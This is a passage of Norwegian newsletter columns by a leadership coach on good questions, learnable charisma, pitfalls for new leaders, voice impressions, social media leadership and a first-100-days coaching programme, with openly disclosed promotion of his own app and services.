Inevitable: Understanding the 12 Technological Forces That Will Shape Our Future\u00a0(anbefales\\!) reflekterer Kevin Kelly over verdien av gode sp\u00f8rsm\u00e5l. Det har v\u00e6rt en inspirasjon for dette ukebrevet. Han har en liste over hva som gj\u00f8r et sp\u00f8rsm\u00e5l til et godt sp\u00f8rsm\u00e5l, og den er slik:\n\n**Et godt sp\u00f8rsm\u00e5l \u2026**\n\n  - bekymrer seg ikke over om svaret er korrekt\n  - kan ikke besvares \u00f8yeblikkelig\n  - utfordrer eksisterende svar\n  - er et sp\u00f8rsm\u00e5l du desperat \u00f8nsker svar p\u00e5 straks det er blitt stilt, men du hadde ingen anelse om at du brydde deg f\u00f8r det ble spurt\n  - krever nye territorier for tenkning\n  - gir nye rammer til egne svar\n  - er fr\u00f8et til innovasjon i vitenskap, teknologi, kunst, politikk og n\u00e6ringsliv'\n  - er en sonde, et hva-hvis-scenario\n  - balanserer p\u00e5 kanten av det kjente og det ukjente, er verken dumt eller \u00e5penbart\n  - kan ikke forutses\n  - er et tegn p\u00e5 utdannelse\n  - genererer mange andre gode sp\u00f8rsm\u00e5l\n  - kan bli den siste jobben en maskin l\u00e6rer \u00e5 utf\u00f8re\n  - er hva mennesker er her for\n\n\u00a0\n## Karisma: Gave fra gudene eller enkle tricks? X-faktoren kan l\u00e6res. Her er oppskriften\n\nFem slitne, svette menn ankom Memurubu. Portugiseren Diogo var nok mest sliten. Den elegante og veltalende herren var mer urban enn de fleste, og virket i det hele tatt underlig malplassert blant gr\u00e5stein og lyng i Jotunheimen. N\u00e5, etter hele 14 timer over Besseggen, var han og vi andre endelig fremme.\n\nOm turen var lang, var den givende. Diogo var en av grunnene til det. Han var et av disse menneskene med dette mystiske \u00abnoe\u00bb. En X-faktor. En aura. Der han kom skjedde det et umerkelig klimaskifte. Det f\u00f8ltes som et privilegium \u00e5 v\u00e6re n\u00e6r ham.\n\nI resepsjonen p\u00e5 Memurubu skjedde det igjen. I l\u00f8pet av sekunder hadde Diogo vunnet de tre resepsjonistene med varmende, kraftfulle ord og ekstremt n\u00e6rv\u00e6r. Da de var ferdige med \u00e5 sjekke oss inn str\u00e5lte de, overbevist om at den jobben de utf\u00f8rte i resepsjonen var en av de viktigste p\u00e5 kloden akkurat n\u00e5.\n\nDiogo hadde karisma.\n\nHan gjorde med resepsjonistene hva Benjamin Disraeli gjorde med den anonyme kvinnen som spiste middag med ham foran det britiske statsministervalget i 1868. Hun hadde v\u00e6rt ute med b\u00e5de Disraeli og rivalen William Gladstone.\n\n\u00abEtter \u00e5 ha spist middag med mr. Gladstone syns jeg han var den smarteste personen i England\u00bb, sa hun.\n\n**\u00abEtter \u00e5 ha spist med Disraeli syns jeg at *jeg* var den smarteste personen i England.\u00bb**\n\nMennesker med karisma gj\u00f8r noe med oss. Karismatiske ledere kan f\u00e5 oss til \u00e5 g\u00e5 gjennom ild og vann. Karismatiske mennesker f\u00e5r oss til \u00e5 forst\u00e5 at vi har en viktig, kanskje nobel oppgave. Karismatiske ledere inspirerer og samler, og de f\u00e5r oss til \u00e5 f\u00f8le oss sett, akseptert og anerkjent.\n\n**Alle burde ha karisma.**\n\nMen det g\u00e5r vel ikke an, gj\u00f8r det vel?\n\nJo, det g\u00e5r an.\n\nKarisma kan l\u00e6res.\n\nTidligere mente man at karisma var en gave fra gudene. Forskere har imidlertid trent opp mennesker i spesifikke egenskaper som helt eller delvis inng\u00e5r i oppskriften p\u00e5 en karismatisk person.\n\nHer er oppskriften:\n\n  - 1 god historie\n  - 1 anekdote\n  - noen dryss metaforer\n  - 3 ss moralsk overbevisning\n  - 1 liter av f\u00f8lelsene i ditt publikum\n  - 3 kraftige doser h\u00f8ye forventninger\n  - 2-4 kontraster\n  - 1-2 lister med viktige ting\n  - 1-3 retoriske sp\u00f8rsm\u00e5l\n  - 25-50 velplasserte gestikuleringer\n  - 8-15 korresponderende ansiktsuttrykk\n  - noen minutters variert stemmeleie\n\nDet er det hele.\n\nProfessor John Antonakis ved Universitet i Lausanne ledet en studie hvor de unders\u00f8kte om de kunne l\u00e6re mennesker \u00e5 bli mer karismatiske, og om den eventuelle \u00f8kte dosen karisma betyr noe for hvordan de vurderes som ledere.\n\n**Studien viste at treningen hadde signifikant effekt p\u00e5 begge deler.**\n\nKarisma kan alts\u00e5 l\u00e6res.\n\nOg ingrediensene har du.\n\nS\u00e5 da er det bare \u00e5 fyre opp i ovnen.\n\nKok deg litt karisma i novemberkulda.\n\nDa blir vi alle litt varmere og gladere.\n\nGod tirsdag.\n\n### Etterord, kilder og inspirasjon\n\nKarisma kommer i mange former. Marilyn Monroe (oppslagsbilde: DustinJWCook\u00a0\u2013 public domain) hadde sin form for karisma. Steve Jobs hadde en annen. Diogo delte Bill Clintons form, den som f\u00e5r deg til \u00e5 f\u00f8le deg som den viktigste personen i verden.\n\nSannsynligvis ble ingen av dem f\u00f8dt s\u00e5nn. De l\u00e6rte underveis, antagelig med gode hjelpere, og fant fram til de ni verbale og tre non-verbale ingrediensene John Antonakis med kolleger innpodet en gruppe mellomledere. En beskrivelse av studien\u00a0\u00abCharisma \u2013 can it be taught?\u00bb kan du lese her.\n\nS\u00e5 selv om du har f\u00e5tt ingrediensene denne Tirsdag morgen, er det nok ikke s\u00e5 lett \u00e5 omsette i praksis, langt mindre v\u00e6re trygg p\u00e5 om det fungerer. Denne artikkelen inneholder for eksempel mange av ingrediensene: en historie, metaforer, anekdoter, retoriske sp\u00f8rsm\u00e5l, lister, endog et variert stemmeleie, og forh\u00e5pentligvis ogs\u00e5 en dose moralsk overbevisning.\n\n*Men virker det?*\n\nDet overlater jeg til deg \u00e5 svare p\u00e5.\n\n\u00a0\n-----\nDiogo Vasconcelos\u00a0var en portugisisk politiker og forretningsmann som viet sitt liv til sosial innovasjon og betydningen IT kan ha for \u00e5 skape de n\u00f8dvendige sosiale endringer i v\u00e5re samfunn. Han d\u00f8de helt plutselig i 2011, ett \u00e5r etter turen over Besseggen.\n\n## Den nye lederens syv d\u00f8dssynder Det krever en rak rygg \u00e5 ha beina p\u00e5 bakken og hodet i skyene\n\nFinnes det en parallell til \u00abde syv d\u00f8dssyndene\u00bb for ledere som bytter lederjobb?\n\nDet h\u00f8res dramatisk ut med d\u00f8dssynder, eller kardinalsynder, som den katolske kirke kaller det. Men ledelse er en risikosport, og mange faller fra og st\u00f8tes ut. Noe av grunnen kan v\u00e6re at de ikke hadde den nye lederens syv kardinalsynder i bevisstheten.\n\n#### **1 Trol\u00f8shet**\n\nsom i at du ikke gj\u00f8r deg ferdig med tidligere forhold.\n\nEt jobbskifte har likhetstrekk med at livspartnere g\u00e5r hver sin vei. F\u00f8lelsene er sterke og motstridende, og den gamle partnerens \u00absp\u00f8kelse\u00bb blir ofte med inn i den nye dobbeltsengen. Ogs\u00e5 et jobbskifte kan skape sterke f\u00f8lelser. En beskrev det som kj\u00e6rlighetssorg.\n\nSom leder er det viktig at du setter strek, blir ferdig med det som var og innstiller hjerte og hjerne p\u00e5 at din lojalitet og innsats fremover skal ligge i den nye rollen din. Sp\u00f8kelset av din gamle jobb m\u00e5 drives ut dersom det skal bli plass til tillit i ditt nye team og du skal f\u00e5 den troverdigheten du trenger.\n\n#### **2 Latskap**\n\nsom i at du ikke har gjort hjemmeleksen din. Turister som kommer til Oslo og tror de er i Sverige oppleves som i beste fall uopplyste, i verste fall respektl\u00f8se. Dessuten roter de seg lettere bort i tr\u00f8bbel.\u00a0Som ny leder er du mer enn en turist, du er en innflytter. Sett deg inn i hva som gjelder og g\u00e5r, hvordan kulturen er. Finn ut hvem du b\u00f8r bli venner med og kartlegg mulige problemomr\u00e5der i god tid f\u00f8r planlagt ankomst.\n\n#### **3 Ut\u00e5lmodighet**\n\nTing *tar* tid. Det er ikke bare en artig setning med tre t-er, ting tar *virkelig\u00a0* tid.\u00a0V\u00e6r t\u00e5lmodig, l\u00e6r, lytt og v\u00e6r ydmyk for historien, kulturen og kompetansen som sitter i veggene.\n\n#### **4 Utydelighet**\n\nSom kaptein risikerer du \u00e5 kj\u00f8re skuta p\u00e5 grunn hvis du ikke gir klare signaler om hvilken retning dere skal. Som leder skal du sikre et fundament for folkene du skal lede. Hvis det fundamentet er en klissete, forml\u00f8s myr blir det vanskelig \u00e5 komme raskt fremover. V\u00e6r tydelig p\u00e5 ditt budskap og kommuniser det ved alle anledninger og i alle kanaler.\n\n#### **5 Hovmod**\n\nJa, du skal v\u00e6re tydelig, men du skal ikke v\u00e6re en bedreviter. \u00c5 skride inn i den nye rollen den f\u00f8rste dagen med en fiks ferdig diagnose og l\u00f8sning er ikke bare arrogant, det er direkte uansvarlig. Ikke bare fordi du antagelig ikke har sett hele bildet enn\u00e5, men ogs\u00e5 fordi du gj\u00f8r potensielle entusiastiske st\u00f8ttespillere til skeptiske og kanskje engstelige motstandere.\n\n#### **6 Solospill**\n\nDu skal tenke, forankre, handle. I den rekkef\u00f8lgen. Mange gj\u00f8r det omvendt. Selvsikre og dynamiske g\u00e5r de rett i handlingsmodus. Deretter fors\u00f8ker de \u00e5 forankre det hos interessentene. Det lykkes sjelden. De viktige st\u00f8ttespillerne er allerede mektig irritert. I sin iver br\u00f8t de kanskje ogs\u00e5 etablerte, men uskrevne og usynlige regler. N\u00e5r motstanden kommer begynner de endelig \u00e5 tenke. Men da er det for sent.\n\n#### **7 Sm\u00e5lighet**\n\nDon't sweat the small stuff \u2026 and it's all small stuff er tittelen p\u00e5 en klassisk selvhjelpsbok. Det er din jobb som leder \u00e5 male et bilde av en attraktiv fremtid opp for folkene dine. Du skal ha en visjon og du skal gj\u00f8re den visjonen til noe alle f\u00f8ler at de har eierskap til. Du er den som skal evne \u00e5 l\u00f8fte dem ut av det ordin\u00e6re og minne dem om det ekstraordin\u00e6re, at veien dere g\u00e5r har en hensikt, at det er en kiste med gull ved enden av regnbuen. Det skal du greie uten \u00e5 miste bakkekontakten.\n\nDet krever en rak rygg \u00e5 ha beina p\u00e5 bakken og hodet i skyene samtidig.\n\nGod tirsdag.\n\n\u00a0\n## Ditt publikum har deg p\u00e5 \u00abhallo\u00bb\n\n**\u00abYou had me at 'hello'\u00bb, sier Ren\u00e9 Zellweger alias Dorothy til Tom Cruise i filmen \u00abJerry Maguire\u00bb fra 1996.**\n\nSenere har forskere vist at\u00a0\u00abhallo\u00bb faktisk er alt vi trenger \u00e5 h\u00f8re f\u00f8r vi gj\u00f8r oss opp en mening om personen bak stemmen. Phil McAleer ved University of Glasgow og kolleger lagde 64 opptak med folk som leste en tekst. De strippet opptaket ned til ett ord, \u00abhallo\u00bb, og ba 320 mennesker rangere stemmen p\u00e5 10 personlighetstrekk, inkludert troverdighet, dominans og attraktivitet.\n\n**Resultatene viste at vi i l\u00f8pet av tiden det tar \u00e5 si \u00abhallo\u00bb gj\u00f8r oss opp en forbl\u00f8ffende treffsikker mening om personen bak stemmen.\u00a0**\n\nEn annen forsker, Dr. Nalini Ambady, lanserte i sin tid uttrykket \u00abthin slicing\u00bb. Det handler om v\u00e5r evne til \u00f8yeblikkelig \u00e5 gj\u00f8re oss opp en mening om andre. I et ber\u00f8mt fors\u00f8k lot hun studenter se ti sekunders lydl\u00f8se videoopptak med ukjente professorer. Vurderingene var forbl\u00f8ffende overensstemmende med vurderinger fra studenter som hadde sett og h\u00f8rt professorene gjennom et helt semester.\n\nAmbadys fors\u00f8k er gjort kjent blant annet gjennom Malcolm Gladwells bok Blink: The power of thinking without thinking, og er godt kjent. Hvor mye informasjon m\u00e5ten vi snakker p\u00e5 avsl\u00f8rer er for mange mer overraskende.\n\n**En av de som ikke er overrasket er min venn og partner Rick Salmon. Etter gjennom mange \u00e5r med coaching av ledere p\u00e5 hvordan de fremst\u00e5r har han utviklet seg til en ekspert p\u00e5 stemmebruk.**\n\nP\u00e5 et tidspunkt begynte Rick \u00e5 lure p\u00e5 om kanskje teknologi, big data og kunstig intelligens kunne gj\u00f8re hele eller deler av jobben han gjorde for lederne.\n\nMasse research, markedsanalyse og utvikling senere lanserer\u00a0Rick og selskapet Technology of Influence AS (TOI) denne uken appen Voiceable (iOS-versjon n\u00e5, Android-versjon 1. november). Om du skal pitche eller holde foredrag (f\u00f8rst og fremst p\u00e5 engelsk) kan du bruke Voiceable til \u00e5 gj\u00f8re et opptak av litt av det du har tenkt \u00e5 si. Opptaket analyseres og du f\u00e5r en pekepinn om hvilket inntrykk du vil skape hos ditt publikum om du snakker p\u00e5 denne m\u00e5ten. Samtidig f\u00e5r du tips om hva du kan justere for \u00e5 skape den effekten du \u00f8nsker.\n\nInnslagene av kunstig intelligens og big data er forel\u00f8pig begrenset. Analysene er basert p\u00e5 ekspertkompetanse. Men i senere versjoner er intensjonen at brukeres egne vurderinger av ulike kvaliteter ved talere de lytter til skal f\u00f4res inn i en database som blir analysert av maskinl\u00e6ringsalgoritmer.\n\nFull transparens: Jeg er minoritetsaksjon\u00e6r og styreleder i gr\u00fcnderselskapet Technology of Influence. Jeg er stolt av det Rick og teamet av programmerere og lingvister har f\u00e5tt til. (Min egen praktiske involvering har v\u00e6rt minimal.)\n\n**N\u00e5 \u00f8nsker jeg at du, som leser av Tirsdag morgen skal klikke deg avsted til Appstore og laste ned appen, og aller helst gi den en str\u00e5lende omtale.\u00a0**\n\nJeg har ogs\u00e5 lyst til \u00e5 h\u00f8re fra deg som selv driver med presentasjons- eller pitch-coaching. Vi har en plan om \u00e5 lage en tilpasset versjon som kan bli en del av din verkt\u00f8ykasse overfor kundene. Om du tenker at det er interessant \u00e5 h\u00f8re mer om, gi lyd fra deg.\n\nOg jeg har lyst til \u00e5 h\u00f8re fra deg i st\u00f8rre eller mindre virksomheter som driver med lederutvikling, salgstrening eller annet hvor fremferd og troverdighet betyr noe. Spesielt der folkene dine ikke har engelsk som morsm\u00e5l, men kommunikasjonen likevel m\u00e5 skje p\u00e5 engelsk.\n\n**Hvordan kan vi hjelpe deg og dine kolleger med en\u00a0\u00abcorporate\u00bb versjon av Voiceable?**\n\nOg om du ikke gj\u00f8r noe av dette er det en fantastisk hjelp om du deler denne artikkelen i dine sosiale medier og kanskje sender den videre til andre du tror vil ha interesse av den.\n\nSom takk for din feedback og st\u00f8tte f\u00e5r du her den ber\u00f8mte\u00a0\u00abYou had me at 'hello'\u00bb-scenen fra Jerry Maguire. \ud83d\ude42\n\n\u00a0\nGod tirsdag.\n\n\u00a0\n\n## \u00c5 holde barnehjerter i hendene\n\n\u00abHva jobber du med?\u00bb, spurte Inger Marie mens hun stakk n\u00e5len inn i armen min.\n\n\u00abJeg lever av \u00e5 stille folk sp\u00f8rsm\u00e5l\u00bb, svarte jeg.\n\n\u00abIngen svar?\u00bb\n\n\u00abIngen svar. Bare sp\u00f8rsm\u00e5l. Hva med din jobb? Hvordan er det egentlig \u00e5 leve av \u00e5 tappe blod av folk? Har du gjort det lenge?\u00bb\n\n\u00abSiden desember\u00bb, svarte hun.\u00a0\u00abJeg liker det godt. Det er flere interessante mennesker \u00e5 snakke med her i blodbanken enn p\u00e5 nyf\u00f8dtavdelingen hvor jeg var f\u00f8r.\u00bb\n\nDet kunne jeg forst\u00e5.\n\n\u00abHva snakker du med dem om?\u00bb\n\n\u00abSom regel sp\u00f8r jeg hva de jobber med\u00bb, svarte hun.\u00a0\u00abFolk har s\u00e5 mange rare jobber. Som din.\u00bb\n\nVi snakket om noen av de rare yrkene vi har m\u00f8tt. Det var han som levde av \u00e5 reise rundt i landet for \u00e5 bes\u00f8ke p\u00f8lsemakere med det siste innen lekre p\u00f8lsekrydderier.\u00a0En annen solgte munnstykker til bensinpumpeslanger. Han visste hvilke bensinstasjoner som har de raskeste pumpene. Nyttig kunnskap \u00e5 ha en hustrig vinterdag.\n\nInger Marie gikk for \u00e5 sjekke blodprosenten, og jeg gled inn i tanker om mangfold i yrkeslivet. Jeg tenkte p\u00e5 rom-tiggeren p\u00e5 Vulkan som hver dag fra 7-17 i lang, lang tid satt ved innkj\u00f8ringen til Westerdals. Det var jobben hans: Nikke og smile til de som g\u00e5r forbi. En hederlig jobb med lange, utakknemlige arbeidsdager og d\u00e5rlig l\u00f8nn. N\u00e5 er han ikke der lenger. Lurer p\u00e5 hvor han er.\n\nJeg tenkte ogs\u00e5 p\u00e5 hun som gikk foran meg i regnet gjennom Ullev\u00e5l Hageby og slepte p\u00e5 en Elkj\u00f8p-pose med en diger Wilfa kj\u00f8kkenmaskin. Den var nesten like stor som henne. Da hun stoppet for \u00e5 skifte grep p\u00e5 posen kom jeg opp p\u00e5 siden av henne. Jeg tilb\u00f8d en hjelpende h\u00e5nd, og snart bar vi posen i hver v\u00e5r hank mens jeg pr\u00f8vde \u00e5 balansere min paraply over oss begge i det sildrende regnet.\n\n\u00abHva lever *du* av?\u00bb, spurte jeg.\n\n\u00abJeg holder barnehjerter i hendene mine\u00bb, sa hun p\u00e5 en syngende langt-inni-fjordane-dialekt.\n\nSvaret satte meg litt ut.\n\n\u00abDu mener\u2026bokstavlig talt?\u00bb\n\n\u00abBokstavlig talt. Jeg er perfusjonist med spesialisering i barnehjerter. Hver dag passer jeg p\u00e5 at hjertesyke barns hjerter f\u00e5r det de trenger under operasjonen.\u00bb\n\nDet var rent poetisk i all sin gru.\n\n\u00abBlodprosenten er 14,3\u00bb, sa Inger Marie. \u00abN\u00e5 kan du slappe av til klokka ringer. Husk \u00e5 drikke godt. Skal jeg hente mer vann til deg?\u00bb\n\nJeg lente meg tilbake og lot tankene flyte inn over meg igjen. Mangfold. Det er fint med mangfold. Alle de rare folka. Alle de hardtarbeidende menneskene som gj\u00f8r s\u00e5 godt de kan. De selger krydder og munnstykker til bensinpumper, de holder barnehjerter, og de er profesjonelle nikkere og smilere med et kaffekrus som lommebok. Noen lever av \u00e5 tappe blod av oss andre mens de lytter til historier fra livene v\u00e5re. Noen lever av \u00e5 gi svar. Andre lever av \u00e5 stille sp\u00f8rsm\u00e5l.\n\nHer bor vi sammen p\u00e5 en smal kyststripe p\u00e5 en liten jord i et uendelig verdensrom og gj\u00f8r det vi kan s\u00e5 godt vi kan. Det gj\u00f8r meg varm om hjertet.\n\nI det norske mangfoldet er det h\u00f8yt under taket. Vi har til og med mennesker her som f\u00e5r mangfoldets st\u00f8tte til \u00e5 advare mot mangfold, og andre som f\u00e5r betalt for \u00e5 drive dialog gjemt i en nikab.\n\nOg jeg tenker at s\u00e5nn skal det ogs\u00e5 v\u00e6re. Vi skal ha plass til alle. Alle skal med.\n\nDet finnes tross alt bare ett alternativ til mangfold.\n\nEnfold.\n\nGod tirsdag.\n\nPS. Likte du dette? Del gjerne i dine sosiale medier, og kommentarer settes ogs\u00e5 stor pris p\u00e5.\n\n\n\n## 3 typer ledere i sosiale medier: Hvem vil du v\u00e6re? Smyger, begeistrer eller strateg?\n\nDet finnes tre typer ledere i sosiale medier:\n\n1.  **Strategene**, som bruker mediene til \u00e5 forsterke sitt eget bud- og lederskap;\n2.  **Begeistrerne**, som bruker mediene til \u00e5 f\u00e5 fokus p\u00e5 egen person uten hensyn til bud- eller lederskap; og\n3.  **Smygerne**, som bruker mediene fordi de syns de m\u00e5.\n\nDe siste er like som eneggede tvillinger, og ser slik ut:\n\n\n\nOg kanskje disse digitale ledertypene speiler lederprofilene i det analoge livet, hvor noen er tydelige og strategiske i sin kommunikasjon, mens andre bare er ute etter enten s\u00e5 mye eller s\u00e5 lite oppmerksomhet om egen person som mulig?\n\nDet er mye usikkerhet knyttet til sosiale medier, spesielt hos ledere, og mange av dem blir smygere. De er der, men holder en lav profil. Hvis deres atferd i digitale flater speiler deres virkelige liv, s\u00e5 er de som en direkt\u00f8r som smyger seg rundt hushj\u00f8rnene p\u00e5 vei til jobb og kommer inn med lua godt trukket ned over \u00f8rene og et skjerf som dekker hele ansiktet. Han lister seg inn resepsjonsd\u00f8ra og sniker seg langs veggen, overbevist om at selv om han ser alle, s\u00e5 er det ingen som ser ham. Bare han er helt stille og ikke sier et ord g\u00e5r det nok bra.\n\nDet er formodentlig ingen som ville kunne beholde en direkt\u00f8rstilling \u2013 eller en stilling overhodet \u2013 i det virkelige liv med en slik atferd.\u00a0Likevel er det i sosiale medier overraskende mange som velger \u00e5 bli kjent som et sp\u00f8kelse.\n\nLedertype 2 drar de sosiale mediene for langt i den andre retningen. De overbruker mediet og risikerer \u00e5 \u00f8delegge karrieren uten \u00e5 forst\u00e5 det selv.\n\nDe er gjerne anstendige, hyggelige mennesker n\u00e5r du m\u00f8ter dem analogt. De ville for eksempel aldri finne p\u00e5 \u00e5 stille seg p\u00e5 en bruskasse p\u00e5 torget og hoppe opp og ned og rope ut hvor glade og takknemlige de er, hvem de kjenner, og hva slags fantastiske opplevelser de har hatt i det siste.\u00a0Men deres sosiale antenner fungerer ikke like godt i digitale som analoge kanaler.\u00a0S\u00e5 de hopper opp og ned p\u00e5 den digitale bruskassen sin og roper sitt omd\u00f8mme i knas.\n\nStrategene har mer utviklet fingerspissf\u00f8lelse. N\u00e5r de gj\u00f8r noe i sosiale medier har det en hensikt, og selv om det er overlagte og gjennomtenkte utspill, oppleves de som naturlige og ekte.\u00a0Petter Stordalen er en slik leder. Anita Krohn-Traaseth er en annen. Andre, som\u00a0Hans-Petter Nyg\u00e5rd Hansen, Astrid Valen Utvik og Christine Calvert, er ikke mektige analoge ledere, men har likevel en tydelig lederrolle i digitale kanaler, interessant nok fordi de har etablert seg som eksperter nettopp p\u00e5 sosiale medier.\n\nJeg var p\u00e5 kurs med ovennevnte Christine Calvert sist helg.\u00a0Det var organisasjonen Lederne sin Oslo-avdeling som arrangerte, og temaet var hvordan ledere kan bruke sosiale medier. Tekstdoktor Christine Calvert var v\u00e5r l\u00e6remester.\n\nChristine er dyktig. Den lille damen med den store personligheten er en sprudlende kombinasjon av substans og pasjon, soliditet og formidlingsglede, perspektiv og n\u00e6rhet.\n\nOg hun er d\u00f8nn ekte.\n\nHun delte noen av sine observasjoner om ledere og sosiale medier, og noe av det jeg tok med meg er:\n\n  - For det f\u00f8rste, du **m\u00e5** ikke v\u00e6re der. Alle ledere trenger\u00a0*ikke\u00a0*\u00e5 bli bloggere eller v\u00e6re sosiale medie-personligheter. Dersom du ikke er komfortabel med sosiale medier, skal du heller avslutte kontoen din. Ikke v\u00e6r en smyger og et sp\u00f8kelse.\n  - For det andre, husk at du er en leder, ogs\u00e5 i sosiale medier. Den delikate balansegangen du opplever som leder i det daglige forsterkes i sosiale medier. Du skal tenke gjennom hvordan du skal forholde deg til ansatte som vil v\u00e6re venner med deg. Som i det virkelige liv blir alt du sier, tenker og gj\u00f8r gjenstand for tolkning. Tenk over hvem du er som person og leder, og v\u00e6r bevisst p\u00e5 hvilket bilde du \u00f8nsker \u00e5 vise.\n  - For det tredje, v\u00e6r ekte. Om du pr\u00f8ver \u00e5 v\u00e6re en annen enn du egentlig er, gjennomskues du raskt. Du kom der du er i dag fordi noen s\u00e5 deg, likte hva de s\u00e5, og ga deg stadig mer ansvar. Det du representerer har en verdi, og du kan bruke sosiale medier til \u00e5 forsterke denne verdien. V\u00e6r hel og troverdig, og ikke pr\u00f8v \u00e5 v\u00e6re alt for alle: Velg deg ut noen f\u00e5 viktige saker du vil assosieres med, og v\u00e6r tro mot dem.\n  - For det fjerde, v\u00e6r strategisk. Tenk over at det du gj\u00f8r skal ha en hensikt. Hvis et bilde av et r\u00f8dvinsglass i solnedgangen tjener en slik hensikt, s\u00e5 legg det for all del ut. Men ta en ekstra runde og sp\u00f8r deg selv om dette bringer deg, dine medarbeidere og virksomheten du er leder i videre.\n\nGod tirsdag.\n\n\u00a0\nPaal Leveraas er gr\u00fcnder i Leveraas AS, et selskap som jobber med ledere for \u00e5 utvikle trygghet og selvtillit slik at du raskere kan tre inn i rollen som den lederen du \u00f8nsker \u00e5 v\u00e6re, og som dine medarbeidere, kolleger og ledere trenger at du er.\n\n-----\n\n\n## De f\u00f8rste 100 dagene som leder Hvordan unng\u00e5 tabbene som kan \u00f8delegge karrieren?\n\n**Forleden gikk jeg gjennom noen gamle papirer, og fant en perm med notater fra jobben jeg hadde fra 1990 til 1995. Den gang var jeg nylig blitt forfremmet til sjefredakt\u00f8r i Computerworld Norge.**\n\nI den rollen ledet jeg en gjeng meget dyktige journalister og desk-medarbeidere og var frontfigur i det som var Norges\u00a0fremste nyhetsorgan for den fremadstormende IT-bransjen.\n\nBlant de gamle papirene l\u00e5 resultatene fra en medarbeiderunders\u00f8kelse.\n\nDet var en nedsl\u00e5ende p\u00e5minnelse.\n\n**Jeg fikk stryk.**\n\nFolkene mine trivdes riktignok godt p\u00e5 jobben. Men sjefen deres \u2013 alts\u00e5 jeg \u2013 ble beskrevet som konfliktsky, d\u00e5rlig organisert og mere til.\n\nJeg tror jeg brukte lang tid p\u00e5 \u00e5 absorbere disse resultatene. Men langsomt s\u00e9g det inn over meg:\n\n**Selv om jeg var en god journalist, var jeg ikke automatisk en god leder.**\n\nHva forskjellen var l\u00e5 lenge i en t\u00e5kedis. Det var noe jeg ikke forstod, noe jeg ikke helt fikk tak i, men jeg forstod ikke hva.\n\nS\u00e5 jeg forbannet meg p\u00e5 at jeg skulle knekke koden.\n\nJeg ble en student i lederskap. Jeg leste, jeg praktiserte, jeg snakket med mange kloke mennesker, og jeg jobbet direkte med mange ledere og ledergrupper.\n\nVi er ikke spesielt gode p\u00e5 ledelse her i Norge. Ennova og HR Norges \u00e5rlige \u00abGlobal Employee and Leadership Index\u00bb viser for eksempel \u00e5r etter \u00e5r at 1 av 3 ledere ikke burde v\u00e6rt ledere i f\u00f8lge de som ledes av dem.\n\nOm en ny leder lykkes eller mislykkes over tid handler veldig mye om de f\u00f8rste 3-4 m\u00e5nedene i jobben. Sp\u00f8r du HR-folk vil mange av de beskrive den f\u00f8rste tiden som leder som et\u00a0*\u00abdefining moment\u00bb* i en lederkarri\u00e9re. I likhet med statsministre og presidenter har du som ny leder en n\u00e5detid, og den er p\u00e5 rundt 100 dager. Hvis du ikke har etablert deg som en troverdig leder i l\u00f8pet av denne tiden vil du antagelig aldri gj\u00f8re det.\n\nAlt du sier og alt du gj\u00f8r, m\u00e5ten du tenker p\u00e5, m\u00e5ten du snakker p\u00e5, er med \u00e5 bygge eller underminere din lederplattform.\n\nDette vet vi, dette vet virksomhetene, dette vet ikke minst HR-folkene i virksomhetene. Og i dag er det veldig mye mer fokus p\u00e5 god ledelse enn det var i 1990\n\nMen det er ikke alltid handling f\u00f8lger innsikt.\n\n**Fremdeles kastes mange nye ledere ut p\u00e5 dypt vann uten verken sv\u00f8mmetrening eller redningsvest.**\n\nOmtrent like mange ledere som f\u00e5r stryk av sine ansatte \u2013 1 av 3 \u2013 forteller at de ikke har en plan for egen utvikling som leder.\n\nJeg gjetter at dette sammenfallet ikke er tilfeldig.\n\nDet *jeg* hadde trengt den gangen i 1990, s\u00e6rlig i de f\u00f8rste m\u00e5nedene, var en erfaren og kompetent person \u00e5 sparre med. Det skulle helst v\u00e6rt en utenforst\u00e5ende uten annen agenda enn at jeg skulle lykkes med oppgaven. En som sparket og lirket meg videre n\u00e5r det trengtes, og som holdt meg tilbake n\u00e5r det trengtes. En som dyrket frem den helst\u00f8pte lederen i meg.\n\nEn slik person ville gjort en enorm forskjell.\n\nI dag er\u00a0*jeg* en slik person.\n\n**Mitt hovedprosjekt fremover skal v\u00e6re \u00e5 hjelpe nye ledere \u00e5 lede.**\n\nI sommer har jeg jobbet med utvikling av et coaching-program jeg rett og slett kaller \u00ab100 dager\u00bb. Enten du er helt fersk som leder, slik jeg var i 1990, eller du g\u00e5r fra en lederjobb til en annen, er mitt m\u00e5l \u00e5 f\u00f8lge deg tett og metodisk opp gjennom den f\u00f8rste kritiske fasen. Og ulikt interne mentorer eller \u00abbuddyer\u00bb har jeg ingen annen agenda enn \u00e5 se deg lykkes.\n\n**Dette programmet vil jeg n\u00e5 teste og videreutvikle i praktisk lederhverdag.\u00a0**\n\nHvis du har lest s\u00e5 langt som hit, er det kanskje fordi du selv er p\u00e5 vei inn i eller nylig har g\u00e5tt inn i en ny lederrolle. Eller du ser at noen rundt deg kan trenge st\u00f8tte fra en ekstern coach og sparringpartner.\n\nTenk om \u2026\n\n  - du kunne redusere risikoen for \u00e5 feile i den f\u00f8rste kritiske fasen?\n  - du kunne unng\u00e5 \u00e5 bli blant de 40-50 prosent nye ledere som 18 m\u00e5neder senere enten er ute av rollen eller p\u00e5 andre m\u00e5ter \u00abuskadeliggjort\u00bb?\n  - du kunne ha en ved din side de neste 100 dagene som jobber med deg mot samme m\u00e5l som deg: at du skal oppleves som en solid leder med troverdighet blant alle som p\u00e5virkes av din rolle, enten de er over, under, ved siden av deg eller utenfor linjen?\n\n**\u00abYou\u00b4d better call Paal.\u00bb**\n\n~~Det ferdige 100-dagersprogrammet lanseres senere i h\u00f8st, men jeg vil utvikle og teste det i den \u00abvirkelige\u00bb verden. Jeg tar derfor bare inn noen sv\u00e6rt f\u00e5 deltakere i denne f\u00f8rste testrunden. Til gjengjeld f\u00e5r de som kommer inn i f\u00f8rste runde en sterkt redusert pris.~~\n\n**Meld din interesse ved \u00e5 sende meg en mail (firstname.lastname@example.org), eller rett og slett bare ring eller send en SMS til 982 16 666.**\n\nJeg gleder meg til \u00e5 h\u00f8re fra deg.\n\nGod tirsdag.\n\n\u00a0\n### Kilder og videre lesning\n\nDe tall og fakta som refereres i artikkelen er hentet fra fire gode, lesverdige kilder:\n\n  - 100-dagerskoden, Agnethe Ellingsen (Cappelen Damm)\n  - The first 90 days, Michael D. Watkins\n  - The New Leader's 100-Day Action Plan, George B. Bradt, Jayme A. Check\n\nPaal Leveraas er gr\u00fcnder i Leveraas AS, et selskap som jobber med ledere for \u00e5 utvikle trygghet og selvtillit slik at du raskere kan tre inn i rollen som den lederen du \u00f8nsker \u00e5 